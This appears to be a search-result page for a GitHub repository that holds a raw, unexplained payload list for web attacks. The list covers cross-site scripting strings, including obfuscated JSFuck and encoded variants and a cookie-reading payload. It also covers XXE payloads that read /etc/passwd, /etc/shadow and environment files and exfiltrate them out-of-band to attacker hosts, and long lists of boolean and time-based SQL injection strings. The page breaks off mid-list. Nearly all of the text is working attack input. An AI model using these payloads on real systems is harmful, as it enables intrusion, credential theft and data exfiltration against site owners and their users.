Moozonian
Web Images Developer News Books Maps Shopping Moo-AI
Showing results for 112/1.5=
GitHub Repo https://github.com/testnsh/lol

testnsh/lol

" onmouseover=alert(9205) bad=" "/>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=prompt() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=prompt(123)//>\x3e jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)// jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> '<script>alert(1)</script> <script>alert(1)</script> <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script> <script> </script> <script>\u0061\u006C\u0065\u0072\u0074(123)</script> <script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script> <script>document.write('<img src=1 onerror=alert(1)>');</script> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> /*-->]]>%>?></object></script></title></textarea></noscript></style></xmp>'-/"/-alert(1)//><img src=1 onerror=alert(1)>' javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> <script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script> <script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script> <script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script> <div style="x:expression(alert(1))">Joker</div> <div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div> <div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div> <div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div> <iframe src="javascript:alert(1)"></iframe> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> <img src="1" onerror="alert(1)" /> <img src="1" onerror="alert(1)" /> <iframe src="javascript:alert(1)"></iframe> <script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script> <style>body{background-color:expression\(alert(1))}</style> javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></ '%22()%26%25<><ScRiPt%20>alert(1)</ScRiPt> ' onmouseover=alert(9205) bad=' "><svg/onload=prompt(1)> "onresize=prompt(1)> <svg/onload=prompt(1) <svg><script>prompt(1)<b> <svg><script>prompt(1)</script> '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E <<scr\0ipt/src=http://xss.com/xss.js></script %253Cscript%253Ealert('XSS')%253C%252Fscript%253E <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onended="alert(String.fromCharCode(88,83,83))"> <Img src = x onerror = "javascript: window.onerror = alert; throw XSS"> <Video> <source onerror = "javascript: alert (XSS)"> <Input value = "XSS" type = text> <applet code="javascript:confirm(document.cookie);"> <isindex x="javascript:" onmouseover="alert(XSS)"> "></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> "><img src="x:x" onerror="alert(XSS)"> "><iframe src="javascript:alert(XSS)"> <object data="javascript:alert(XSS)"> <isindex type=image src=1 onerror=alert(XSS)> <img src=x:alert(alt) onerror=eval(src) alt=0> <img src="x:gif" onerror="window['al\u0065rt'](0)"></img> <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;> <form><a href="javascript:\u0061lert(1)">X </script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'> <style>//*{x:expression(alert(/xss/))}//<style></style> On Mouse Over? <img src="/" =_=" title="onerror='prompt(1)'"> <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe <script x> alert(1) </script 1=2 <form><button formaction=javascript&colon;alert(1)>CLICKME <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;" <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> <A HREF="http://google:ha.ckers.org">XSS</A> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]> <foo><result>&ac;</result></foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo> https://medium.com/@ismailtasdelen/xml-external-entity-xxe-injection-payload-list-937d33e5e116 Vanilla, used to verify outbound xxe or blind xxe -------------------------------------------------------------- <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> ]> <r>&sp;</r> --------------------------------------------------------------- OoB extraction --------------------------------------------------------------- <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> <r>&exfil;</r> ## External dtd: ## <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> ---------------------------------------------------------------- OoB variation of above (seems to work better against .NET) ---------------------------------------------------------------- <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; %exfil; ]> ## External dtd: ## <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> --------------------------------------------------------------- OoB extraction --------------------------------------------------------------- <?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % data3 SYSTEM "file:///etc/shadow"> <!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd"> %sp; %param3; %exfil; ]> ## External dtd: ## <!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>"> ----------------------------------------------------------------------- OoB extra ERROR -- Java ----------------------------------------------------------------------- <?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % data3 SYSTEM "file:///etc/passwd"> <!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd"> %sp; %param3; %exfil; ]> <r></r> ## External dtd: ## <!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external; ----------------------------------------------------------------------- OoB extra nice ----------------------------------------------------------------------- <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % start "<![CDATA["> <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml "> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://evil/evil.xml"> %dtd; ]> <root>&all;</root> ## External dtd: ## <!ENTITY all "%start;%stuff;%end;"> ------------------------------------------------------------------ File-not-found exception based extraction ------------------------------------------------------------------ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" > %one; %two; %four; ]> ## External dtd: ## <!ENTITY % three SYSTEM "file:///etc/passwd"> <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>"> -------------------------^ you might need to encode this % (depends on your target) as: % -------------- FTP -------------- <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd"> %asd; %c; ]> <a>&rrr;</a> ## External dtd ## <!ENTITY % d SYSTEM "file:///proc/self/environ"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>"> --------------------------- Inside SOAP body --------------------------- <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body> --------------------------- Untested - WAF Bypass --------------------------- <!DOCTYPE :. SYTEM "http://" <!DOCTYPE :_-_: SYTEM "http://" <!DOCTYPE {0xdfbf} SYSTEM "http://" OR 1=1 OR 1=0 OR x=x OR x=y OR 1=1# OR 1=0# OR x=x# OR x=y# OR 1=1-- OR 1=0-- OR x=x-- OR x=y-- OR 3409=3409 AND ('pytW' LIKE 'pytW OR 3409=3409 AND ('pytW' LIKE 'pytY HAVING 1=1 HAVING 1=0 HAVING 1=1# HAVING 1=0# HAVING 1=1-- HAVING 1=0-- AND 1=1 AND 1=0 AND 1=1-- AND 1=0-- AND 1=1# AND 1=0# AND 1=1 AND '%'=' AND 1=0 AND '%'=' AND 1083=1083 AND (1427=1427 AND 7506=9091 AND (5913=5913 AND 1083=1083 AND ('1427=1427 AND 7506=9091 AND ('5913=5913 AND 7300=7300 AND 'pKlZ'='pKlZ AND 7300=7300 AND 'pKlZ'='pKlY AND 7300=7300 AND ('pKlZ'='pKlZ AND 7300=7300 AND ('pKlZ'='pKlY AS INJECTX WHERE 1=1 AND 1=1 AS INJECTX WHERE 1=1 AND 1=0 AS INJECTX WHERE 1=1 AND 1=1# AS INJECTX WHERE 1=1 AND 1=0# AS INJECTX WHERE 1=1 AND 1=1-- AS INJECTX WHERE 1=1 AND 1=0-- WHERE 1=1 AND 1=1 WHERE 1=1 AND 1=0 WHERE 1=1 AND 1=1# WHERE 1=1 AND 1=0# WHERE 1=1 AND 1=1-- WHERE 1=1 AND 1=0-- ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- ORDER BY 4-- ORDER BY 5-- ORDER BY 6-- ORDER BY 7-- ORDER BY 8-- ORDER BY 9-- ORDER BY 10-- ORDER BY 11-- ORDER BY 12-- ORDER BY 13-- ORDER BY 14-- ORDER BY 15-- ORDER BY 16-- ORDER BY 17-- ORDER BY 18-- ORDER BY 19-- ORDER BY 20-- ORDER BY 21-- ORDER BY 22-- ORDER BY 23-- ORDER BY 24-- ORDER BY 25-- ORDER BY 26-- ORDER BY 27-- ORDER BY 28-- ORDER BY 29-- ORDER BY 30-- ORDER BY 31337-- ORDER BY 1# ORDER BY 2# ORDER BY 3# ORDER BY 4# ORDER BY 5# ORDER BY 6# ORDER BY 7# ORDER BY 8# ORDER BY 9# ORDER BY 10# ORDER BY 11# ORDER BY 12# ORDER BY 13# ORDER BY 14# ORDER BY 15# ORDER BY 16# ORDER BY 17# ORDER BY 18# ORDER BY 19# ORDER BY 20# ORDER BY 21# ORDER BY 22# ORDER BY 23# ORDER BY 24# ORDER BY 25# ORDER BY 26# ORDER BY 27# ORDER BY 28# ORDER BY 29# ORDER BY 30# ORDER BY 31337# ORDER BY 1 ORDER BY 2 ORDER BY 3 ORDER BY 4 ORDER BY 5 ORDER BY 6 ORDER BY 7 ORDER BY 8 ORDER BY 9 ORDER BY 10 ORDER BY 11 ORDER BY 12 ORDER BY 13 ORDER BY 14 ORDER BY 15 ORDER BY 16 ORDER BY 17 ORDER BY 18 ORDER BY 19 ORDER BY 20 ORDER BY 21 ORDER BY 22 ORDER BY 23 ORDER BY 24 ORDER BY 25 ORDER BY 26 ORDER BY 27 ORDER BY 28 ORDER BY 29 ORDER BY 30 ORDER BY 31337 RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl-- IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl-- %' AND 8310=8310 AND '%'=' %' AND 8310=8311 AND '%'=' and (select substring(@@version,1,1))='X' and (select substring(@@version,1,1))='M' and (select substring(@@version,2,1))='i' and (select substring(@@version,2,1))='y' and (select substring(@@version,3,1))='c' and (select substring(@@version,3,1))='S' and (select substring(@@version,3,1))='X' Generic Time Based SQL Injection Payloads # from wapiti sleep(5)# 1 or sleep(5)# " or sleep(5)# ' or sleep(5)# " or sleep(5)=" ' or sleep(5)=' 1) or sleep(5)# ") or sleep(5)=" ') or sleep(5)=' 1)) or sleep(5)# ")) or sleep(5)=" ')) or sleep(5)=' ;waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- ";waitfor delay '0:0:5'-- ');waitfor delay '0:0:5'-- ");waitfor delay '0:0:5'-- ));waitfor delay '0:0:5'-- '));waitfor delay '0:0:5'-- "));waitfor delay '0:0:5'-- benchmark(10000000,MD5(1))# 1 or benchmark(10000000,MD5(1))# " or benchmark(10000000,MD5(1))# ' or benchmark(10000000,MD5(1))# 1) or benchmark(10000000,MD5(1))# ") or benchmark(10000000,MD5(1))# ') or benchmark(10000000,MD5(1))# 1)) or benchmark(10000000,MD5(1))# ")) or benchmark(10000000,MD5(1))# ')) or benchmark(10000000,MD5(1))# pg_sleep(5)-- 1 or pg_sleep(5)-- " or pg_sleep(5)-- ' or pg_sleep(5)-- 1) or pg_sleep(5)-- ") or pg_sleep(5)-- ') or pg_sleep(5)-- 1)) or pg_sleep(5)-- ")) or pg_sleep(5)-- ')) or pg_sleep(5)-- AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# SLEEP(5)# SLEEP(5)-- SLEEP(5)=" SLEEP(5)=' or SLEEP(5) or SLEEP(5)# or SLEEP(5)-- or SLEEP(5)=" or SLEEP(5)=' waitfor delay '00:00:05' waitfor delay '00:00:05'-- waitfor delay '00:00:05'# benchmark(50000000,MD5(1)) benchmark(50000000,MD5(1))-- benchmark(50000000,MD5(1))# or benchmark(50000000,MD5(1)) or benchmark(50000000,MD5(1))-- or benchmark(50000000,MD5(1))# pg_SLEEP(5) pg_SLEEP(5)-- pg_SLEEP(5)# or pg_SLEEP(5) or pg_SLEEP(5)-- or pg_SLEEP(5)# '\" AnD SLEEP(5) AnD SLEEP(5)-- AnD SLEEP(5)# &&SLEEP(5) &&SLEEP(5)-- &&SLEEP(5)# ' AnD SLEEP(5) ANd '1 '&&SLEEP(5)&&'1 ORDER BY SLEEP(5) ORDER BY SLEEP(5)-- ORDER BY SLEEP(5)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj) (SELECT * FROM (SELECT(SLEEP(5)))ecMj)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- +benchmark(3200,SHA1(1))+' + SLEEP(10) + ' RANDOMBLOB(500000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) RANDOMBLOB(1000000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ ' '' ` `` , " "" / // \ \\ ; ' or " -- or # ' OR '1 ' OR 1 -- - " OR "" = " " OR 1 = 1 -- - ' OR '' = ' '=' 'LIKE' '=0--+ OR 1=1 ' OR 'x'='x ' AND id IS NULL; -- '''''''''''''UNION SELECT '2 %00 /*…*/ + addition, concatenate (or space in url) || (double pipe) concatenate % wildcard attribute indicator @variable local variable @@variable global variable # Numeric AND 1 AND 0 AND true AND false 1-false 1-true 1*56 -2 1' ORDER BY 1--+ 1' ORDER BY 2--+ 1' ORDER BY 3--+ 1' ORDER BY 1,2--+ 1' ORDER BY 1,2,3--+ 1' GROUP BY 1,2,--+ 1' GROUP BY 1,2,3--+ ' GROUP BY columnnames having 1=1 -- -1' UNION SELECT 1,2,3--+ ' UNION SELECT sum(columnname ) from tablename -- -1 UNION SELECT 1 INTO @,@ -1 UNION SELECT 1 INTO @,@,@ 1 AND (SELECT * FROM Users) = 1 ' AND MID(VERSION(),1,1) = '5'; ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- Finding the table name Time-Based: ,(select * from (select(sleep(10)))a) %2c(select%20*%20from%20(select(sleep(10)))a) ';WAITFOR DELAY '0:0:30'-- Comments: # Hash comment /* C-style comment -- - SQL comment ;%00 Nullbyte ` Backtick sleep(5)# 1 or sleep(5)# " or sleep(5)# ' or sleep(5)# " or sleep(5)=" ' or sleep(5)=' 1) or sleep(5)# ") or sleep(5)=" ') or sleep(5)=' 1)) or sleep(5)# ")) or sleep(5)=" ')) or sleep(5)=' ;waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- ";waitfor delay '0:0:5'-- ');waitfor delay '0:0:5'-- ");waitfor delay '0:0:5'-- ));waitfor delay '0:0:5'-- '));waitfor delay '0:0:5'-- "));waitfor delay '0:0:5'-- benchmark(10000000,MD5(1))# 1 or benchmark(10000000,MD5(1))# " or benchmark(10000000,MD5(1))# ' or benchmark(10000000,MD5(1))# 1) or benchmark(10000000,MD5(1))# ") or benchmark(10000000,MD5(1))# ') or benchmark(10000000,MD5(1))# 1)) or benchmark(10000000,MD5(1))# ")) or benchmark(10000000,MD5(1))# ')) or 